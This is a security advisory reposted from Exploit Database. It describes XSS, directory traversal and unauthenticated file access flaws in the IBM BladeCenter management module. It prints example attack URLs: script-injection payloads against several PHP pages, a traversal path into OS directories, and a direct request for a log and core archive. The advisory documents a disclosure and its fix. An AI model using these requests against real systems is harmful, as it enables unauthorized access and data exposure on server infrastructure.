IBM Bladecenter Management – Multiple Web Application Vulnerabilities

• Exploit Database
• 115 阅读

• 作者： Alexey Sintsov
  日期： 2010-07-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14237/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94

  [DSECRG-09-054] IBM Bladecenter Management - Multiple vulnerabilities   The BladeCenter management module is prone to multiple security vulnerabilities: Unauthorized Access, Directory Listing, XSS     Digital Security Research Group [DSecRG] Advisory #DSECRG-09-054     Application: IBM BladeCenter Managemet Module Versions Affected: BPET48L and may be other versions Vendor URL: http://www-03.ibm.com/systems/bladecenter/ Bug: XSS,Directory traversal, Information disclosure Exploits: YES Reported: 05.09.2009 Vendor response: 09.09.2009 Solution: YES Date of Public Advisory: 05.07.2010 Author: Sintsov Alexey from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)     Description ***********   The BladeCenter management module is prone to multiple security vulnerabilities:   1 Dinamic XSS 2 Directory Listing 3 Unauthorized Access   Details ******* 1. Multiple XSS vulnerabilities found in bladecenter web management     Examples *******   http://[BLADECENTER]/private/cindefn.php?INDEX=3%3C/NOBR%3E%20%3Cscript%3Ealert(\&apos;XSS1\&apos;);%3C/script%3E&VLANID=&IPADDR=3>%3Cscript%3Ealert(\&apos;XSS2\&apos;);%3C/script%3E http://[BLADECENTER]/private/power_management_policy_options.php?domain=3<XSS>   http://[BLADECENTER]/private/pm_temp.php?view=6&mod_type=3&slot=3<XSS>   http://[BLADECENTER]/private/power_module.php?view=4&mod_type=4&slot=3<XSS> http://[BLADECENTER]/private/pm_temp.php?view=6&mod_type=3&slot=3<XSS> http://[BLADECENTER]/private/blade_leds.php?WEBINDEX=3<XSS>   http://[BLADECENTER]/private/ipmi_bladestatus.php?SLOT=3<XSS>&save=1     2. Directory Listing vulnerability found in bladecenter web management   Attacker need to be authorized.   Examples *******   http://[BLADECENTER]/private/file_management.php?DIR=/../../../tmp/etc     Attacker can get full access to OS files.     3. UNauthorized access   Access to the sensitive data (system logs, cores) can be done by requesting a file:   Examples ******* http://[BLADECENTER]/private/sdc.tgz     Solution ********   All three issues were fixed in the v4.7 and v5.0   References *********   http://dsecrg.com/pages/vul/show.php?id=154     About *****   Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.   Digital Security Research Group focuses on enterprise application (ERP) and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.   Contact: research [at] dsecrg [dot] com http://www.dsecrg.com